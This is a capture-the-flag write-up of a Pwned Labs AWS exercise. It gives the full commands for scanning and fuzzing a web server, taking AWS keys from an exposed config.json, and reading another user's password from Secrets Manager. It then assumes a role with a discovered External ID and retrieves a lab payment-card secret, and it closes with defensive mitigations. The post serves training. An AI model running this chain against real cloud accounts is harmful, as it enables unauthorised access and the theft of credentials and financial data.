Post

Pwned Labs : Assume Privileged Role with External ID

Pwned Labs : Assume Privileged Role With External ID

Pwned Labs : Assume Privileged Role with External ID

PwnedLabs - Assume Privileged Role with External ID


🧭 Objective

The goal of this lab is to:

  1. Enumerate a target web server to find exposed AWS credentials
  2. Use those credentials to pivot through AWS IAM
  3. Discover a third-party IAM role protected by an External ID
  4. Assume that privileged role using the External ID
  5. Extract a sensitive secret from AWS Secrets Manager (flag)

Writeup is modified with AI to sound better and avoid gramatical(grammatical) mistake .


🛠️ Tools Used

ToolPurpose
nmapPort scanning the target IP
feroxbusterWeb directory/file fuzzing
aws cliAWS API interaction
aws-enumeratorAWS credential enumeration helper
AWS CloudShellBrowser-based AWS CLI session as ext-cost-user

📌 Lab Environment

ItemValue
Target IP52.0.51.234
AWS Account ID427648302155
Regionus-east-1
Working Directory~/Desktop/PwnedLabs/assume-privileged-role-with-external-ID

🔍 Phase 1 - Reconnaissance (Port Scanning)

Command

1
nmap -Pn 52.0.51.234 --min-rate=1000

Breakdown

FlagMeaning
-PnSkip host discovery (treat host as up) - useful when ICMP is blocked
52.0.51.234Target IP (AWS EC2 instance)
--min-rate=1000Send at least 1000 packets/sec for faster scanning

Result

1
2
PORT   STATE SERVICE
80/tcp open  http


Interpretation: Only port 80 (HTTP) is open. This is a web server. No SSH, no RDP - our attack surface is the web application.


🔍 Phase 2 - Web Fuzzing with Feroxbuster

Command

1
feroxbuster --url http://52.0.51.234/ -x conf,txt,json,xml,yml,yaml,env

Breakdown

FlagMeaning
--urlTarget URL to fuzz
-x conf,txt,json,xml,yml,yaml,envAlso look for files with these extensions (beyond directories)
Default wordlist/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Default threads50 concurrent threads
Recursion depth4 (will go 4 directories deep)

Key Finding

1
200      GET       20l       36w      832c  http://52.0.51.234/config.json

A config.json file was found in the web root - publicly accessible with no authentication.


🔑 Phase 3 - Extracting AWS Credentials from config.json

Navigating to http://52.0.51.234/config.json revealed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
  "aws": {
    "accessKeyID": "AKIA*********",
    "secretAccessKey": "chMbGqbK************88",
    "region": "us-east-1",
    "bucket": "hl-data-download",
    "endpoint": "https://s3.amazonaws.com"
  },
  "serverSettings": {
    "port": 443,
    "timeout": 18000000
  },
  "oauthSettings": {
    "authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
    "tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
    "clientID": "1012aBcD3456EfGh",
    "clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
    "callbackURL": "https://portal.huge-logistics/callback",
    "userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
  }
}

Critical credentials found:

  • accessKeyID: AKIA**********888
  • secretAccessKey: chMbGq***************
  • S3 bucket name: hl-data-download

Note: The AKIA prefix in the Access Key ID means this is a long-term IAM user key (not a temporary role-based key). Long-term keys are more dangerous because they don’t expire.


⚙️ Phase 4 - Configuring AWS CLI Profile

Command

1
aws configure --profile assume

Input / Output

1
2
3
4
AWS Access Key ID [None]: AKIAW**************
AWS Secret Access Key [None]: chMbGqbK*************8
Default region name [None]: us-east-1
Default output format [None]: json

Breakdown

ParameterMeaning
--profile assumeSaves credentials under a named profile called assume so we can switch between identities
AWS Access Key IDThe public half of the IAM credential pair
AWS Secret Access KeyThe private half - used to sign API requests
regionAll subsequent API calls default to us-east-1
output formatJSON makes results easier to parse/read

🪪 Phase 5 - Verify Identity (Who Are We?)

Command

1
aws sts get-caller-identity --profile assume

Breakdown

ComponentMeaning
stsAWS Security Token Service - handles identity and temp credentials
get-caller-identityReturns the IAM identity associated with the current credentials
--profile assumeUse the named profile we just configured

Result

1
2
3
4
5
{
    "UserId": "AIDAWHEOTHRF7MLFMRGYH",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/data-bot"
}

Interpretation: We are authenticated as the IAM user data-bot in account 427648302155. This is the account belonging to Huge Logistics.


🪣 Phase 6 - Enumerate S3 Bucket

Command

1
aws s3 ls hl-data-download --profile assume

Breakdown

ComponentMeaning
s3 lsList objects in an S3 bucket
hl-data-downloadBucket name from the config.json
--profile assumeUse the data-bot credentials

Result

100 transaction log CSV files (LOG-1-TRANSACT.csv through LOG-100-TRANSACT.csv), each 5200 bytes. This confirms data-bot has read access to the S3 bucket. The files are transaction logs for Huge Logistics, but there’s nothing directly exploitable here. We need to keep enumerating.


🔬 Phase 7 - Setting Up aws-enumerator

1
aws-enumerator cred

This tool creates a .env file with the current credentials for easy reuse:

1
cat .env
1
2
3
4
AWS_REGION=us-east-1
AWS_ACCESS_KEY_ID=AKIAWH***********
AWS_SECRET_ACCESS_KEY=chMbGqb*****************
AWS_SESSION_TOKEN=

This is useful for tools that read environment variables instead of AWS profiles.


🔐 Phase 8 - Enumerate Secrets Manager

Command

1
aws secretsmanager list-secrets --profile assume

Breakdown

ComponentMeaning
secretsmanagerAWS service for storing sensitive values (passwords, API keys, etc.)
list-secretsList all secrets visible to the current identity
--profile assumeUse data-bot credentials

Result - Four Secrets Found

Secret NameDescription
employee-database-adminAdmin access to MySQL employee database
employee-databaseStandard access to MySQL employee database
ext/cost-optimizationCredentials for external cost optimization partner
billing/hl-default-paymentDefault payment card for Huge Logistics

Trying to Access Secrets

Attempt 1 - employee-database-admin (FAILED)

1
aws secretsmanager get-secret-value --secret-id employee-database-admin --profile assume
1
2
An error occurred (AccessDeniedException): User: arn:aws:iam::427648302155:user/data-bot 
is not authorized to perform: secretsmanager:GetSecretValue on resource: employee-database-admin

data-bot doesn’t have permission to read this secret.

Attempt 2 - ext/cost-optimization (SUCCESS ✅)

1
aws secretsmanager get-secret-value --secret-id ext/cost-optimization --profile assume
1
2
3
4
5
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
    "Name": "ext/cost-optimization",
    "SecretString": "{\"Username\":\"ext-cost-user\",\"Password\":\"K33pOurCostsOptimized!!!!\"}"
}

New credentials discovered:

FieldValue
Usernameext-cost-user
PasswordK33pO***********8
Account ID427648302155

Why did this work? The data-bot user had specific IAM permissions allowing it to read the ext/cost-optimization secret. This is a privilege misconfiguration - data-bot shouldn’t need access to a third-party partner’s credentials.


☁️ Phase 9 - Login to AWS Console as ext-cost-user

Using the credentials found:

  • Account ID: 427648302155
  • Username: ext-cost-user
  • Password: K33pO**********8

Log into the AWS Console at: https://signin.aws.amazon.com/

Once logged in, open AWS CloudShell (browser-based terminal). This gives us a shell session running as ext-cost-user.

Why CloudShell? CloudShell automatically injects short-lived credentials for the logged-in user. This avoids needing to manually configure the CLI and bypasses any IP-based restrictions.


🔍 Phase 10 - Enumerate ext-cost-user from CloudShell

Verify Identity

1
2
3
4
whoami
# cloudshell-user

aws sts get-caller-identity
1
2
3
4
5
{
    "UserId": "AIDAWHEOTHRFTNCWM7FHT",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}

We are now operating as ext-cost-user.


List Attached Policies

1
aws iam list-attached-user-policies --user-name ext-cost-user
1
2
3
4
5
6
7
8
9
10
11
12
{
    "AttachedPolicies": [
        {
            "PolicyName": "ExtCloudShell",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
        },
        {
            "PolicyName": "ExtPolicyTest",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
        }
    ]
}

Two policies attached. Let’s dig into ExtPolicyTest.


Get ExtPolicyTest Details

1
aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest

Key finding: Default version is v4.

1
aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:GetRole",
                "iam:GetPolicyVersion",
                "iam:GetPolicy",
                "iam:GetUserPolicy",
                "iam:ListAttachedRolePolicies",
                "iam:ListAttachedUserPolicies",
                "iam:GetRolePolicy"
            ],
            "Resource": [
                "arn:aws:iam::427648302155:policy/ExtPolicyTest",
                "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
                "arn:aws:iam::427648302155:policy/Payment",
                "arn:aws:iam::427648302155:user/ext-cost-user"
            ]
        }
    ]
}

Interpretation: ext-cost-user can inspect IAM roles and policies, specifically scoped to:

  • The ExternalCostOpimizeAccess role → this is our target
  • The Payment policy
  • Their own user

This tells us exactly where to look next.


🎯 Phase 11 - Inspect the Target Role

Command

1
aws iam get-role --role-name ExternalCostOpimizeAccess

Result - Trust Policy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
    "Role": {
        "RoleName": "ExternalCostOpimizeAccess",
        "RoleId": "AROAWHEOTHRFZP3NQR7WN",
        "Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
        "AssumeRolePolicyDocument": {
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "StringEquals": {
                            "sts:ExternalId": "37911"
                        }
                    }
                }
            ]
        },
        "Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources"
    }
}

Critical findings:

FieldValueMeaning
Principalext-cost-userOnly this user can assume this role
Actionsts:AssumeRoleThe action that must be called
Conditionsts:ExternalId = "37911"A secret shared token required to assume the role

What is an External ID? It’s a condition on the role trust policy designed to prevent the Confused Deputy Problem. When a third-party vendor needs to assume a role in your account, you give them an External ID that only they should know. Without it, even if someone has the role ARN, they can’t assume the role.


🔑 Phase 12 - Enumerate the Payment Policy

1
aws iam list-attached-role-policies --role-name ExternalCostOpimizeAccess

1
2
3
4
5
6
7
8
{
    "AttachedPolicies": [
        {
            "PolicyName": "Payment",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
        }
    ]
}
1
aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "secretsmanager:GetSecretValue",
                "secretsmanager:DescribeSecret",
                "secretsmanager:ListSecretVersionIds"
            ],
            "Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
        },
        {
            "Effect": "Allow",
            "Action": "secretsmanager:ListSecrets",
            "Resource": "*"
        }
    ]
}

Interpretation: If we can assume ExternalCostOpimizeAccess, we will have permission to read the billing/hl-default-payment secret - which contains payment card details.


💥 Phase 13 - Assume the Role (Without External ID - FAIL)

Command

1
2
3
aws sts assume-role \
  --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess \
  --role-session-name ExternalCostOpimizeAccess

Result

1
2
3
aws: [ERROR]: An error occurred (AccessDenied) when calling the AssumeRole operation: 
User: arn:aws:iam::427648302155:user/ext-cost-user is not authorized to perform: 
sts:AssumeRole on resource: arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess

Why did it fail? The role trust policy has a Condition requiring sts:ExternalId = "37911". Without it, AWS rejects the request outright.


💥 Phase 14 - Assume the Role (With External ID - SUCCESS ✅)

Command

1
2
3
4
aws sts assume-role \
  --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess \
  --role-session-name ExternalCostOpimizeAccess \
  --external-id 37911

Breakdown

ParameterMeaning
--role-arnThe ARN of the role we want to assume
--role-session-nameA name for this session (logged in CloudTrail) - can be any string
--external-id 37911The shared secret required by the trust policy condition

Result

1
2
3
4
5
6
7
8
9
10
11
12
{
    "Credentials": {
        "AccessKeyId": "ASIAW*********8",
        "SecretAccessKey": "Lo0zIU6Kzp9FR*****************888888",
        "SessionToken": "IQoJb3JpZ2luX2VjEHUaCXVzLWVhc3QtMSJH...[truncated]",
        "Expiration": "2026-04-11T05:08:22+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
        "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
    }
}

Note: The ASIA prefix in AccessKeyId means these are temporary/session credentials - they expire (in this case after 1 hour). We must use all three values: AccessKeyId, SecretAccessKey, and SessionToken.


⚙️ Phase 15 - Configure the New Profile Locally

Back on Kali, configure a new AWS profile with the temporary credentials:

1
2
3
4
5
aws configure --profile assume-new
# Enter AccessKeyId and SecretAccessKey

# Then manually set the session token:
aws configure set aws_session_token "IQoJb3JpZ2luX2VjEHUa..." --profile assume-new

Verify the New Identity

1
aws sts get-caller-identity --profile assume-new
1
2
3
4
5
{
    "UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
}

We are now operating as the ExternalCostOpimizeAccess role!


🏆 Phase 16 - Extract the Payment Secret (FLAG)

Command

1
aws secretsmanager get-secret-value --secret-id billing/hl-default-payment --profile assume-new

Breakdown

ComponentMeaning
secretsmanager get-secret-valueRetrieve the plaintext value of a secret
--secret-id billing/hl-default-paymentThe target secret (we found this ARN in the Payment policy)
--profile assume-newUse the assumed role credentials

Result 🎯

1
2
3
4
5
6
7
8
9
10
11
12
13
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
    "Name": "billing/hl-default-payment",
    "VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
    "SecretString": "{
        \"Card Brand\": \"VISA\",
        \"Card Number\": \"4180-5677-2810-4227\",
        \"Holder Name\": \"Michael Hayes\",
        \"CVV/CVV2\": \"839\",
        \"Card Expiry\": \"5/2026\",
        \"Flag\": \"681315*************\"
    }"
}

🗺️ Full Attack Chain Summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[Web Server 52.0.51.234]
        │
        ▼ feroxbuster discovers
[/config.json - AWS keys for 'data-bot']
        │
        ▼ aws configure --profile assume
[data-bot IAM User]
        │
        ▼ secretsmanager:GetSecretValue on ext/cost-optimization
[ext-cost-user credentials: K33pOurCo*********]
        │
        ▼ AWS Console login → CloudShell
[ext-cost-user session]
        │
        ▼ iam:GetRole on ExternalCostOpimizeAccess
[Discovered External ID: 37911]
        │
        ▼ sts:AssumeRole --external-id 37911
[ExternalCostOpimizeAccess Role - temporary credentials]
        │
        ▼ secretsmanager:GetSecretValue on billing/hl-default-payment
[FLAG: 6813***********]

🛡️ Defense & Mitigations

1. Never Store Credentials in the Web Root

config.json was served publicly from the HTTP root. Configuration files containing secrets must never be placed in web-accessible directories. Use environment variables, AWS Parameter Store, or IAM instance roles instead.

2. Apply Least Privilege to IAM Users

data-bot had no business reason to access ext/cost-optimization secrets. IAM policies should be scoped to only what each identity needs. Regularly audit with IAM Access Analyzer.

3. Use GUIDs for External IDs - Not Sequential Numbers

The External ID 37911 is a simple numeric value that could be guessed or brute-forced. In production, External IDs should be UUIDs (e.g., a8f3d2b1-4c7e-4f9a-bc12-3d8e5f6a7b9c) - unguessable and unique per partner.

4. Separate Concerns Between IAM Identities

The data-bot user and ext-cost-user serve completely different purposes. There was no justification for data-bot to have a path to ext-cost-user’s credentials. In AWS (like AD), lateral movement exploits chains of excessive privilege - minimize those chains.

5. Rotate Long-Term IAM Keys

The data-bot credentials (AKIA...) were long-term static keys. Prefer IAM roles with instance profiles (for EC2) or OIDC federation to eliminate long-lived key material entirely.

6. Enable CloudTrail + GuardDuty

Any sts:AssumeRole call from an unusual source or with mismatched session names should trigger an alert. GuardDuty can detect credential exfiltration and anomalous API calls.


📚 Key Concepts Learned

ConceptExplanation
External IDA condition on a role trust policy to prevent Confused Deputy attacks. Required by third-party cross-account roles.
Confused DeputyWhen a less-privileged service is tricked into acting on behalf of a more privileged caller. External IDs prevent this.
AKIA vs ASIA keysAKIA = long-term IAM user key. ASIA = short-term STS session key (requires session token).
IAM Privilege EscalationMoving from one identity to another with greater permissions via IAM misconfigurations.
Secrets ManagerAWS service storing encrypted secrets. Access is controlled via IAM - if you have the right role, you can read any secret it’s permissioned for.

✅ Lab Mindmap


# Final Thoughts


I hope this blog continues to be helpful in your learning journey!. If you find this blog helpful, I’d love to hear your thoughts ; my inbox is always open for feedback. Please excuse any typos, and feel free to point them out so I can correct them. Thanks for understanding and happy learning!. You can contact me on Linkedin and Twitter
linkdin
Twitter

This post is licensed under CC BY 4.0 by the author.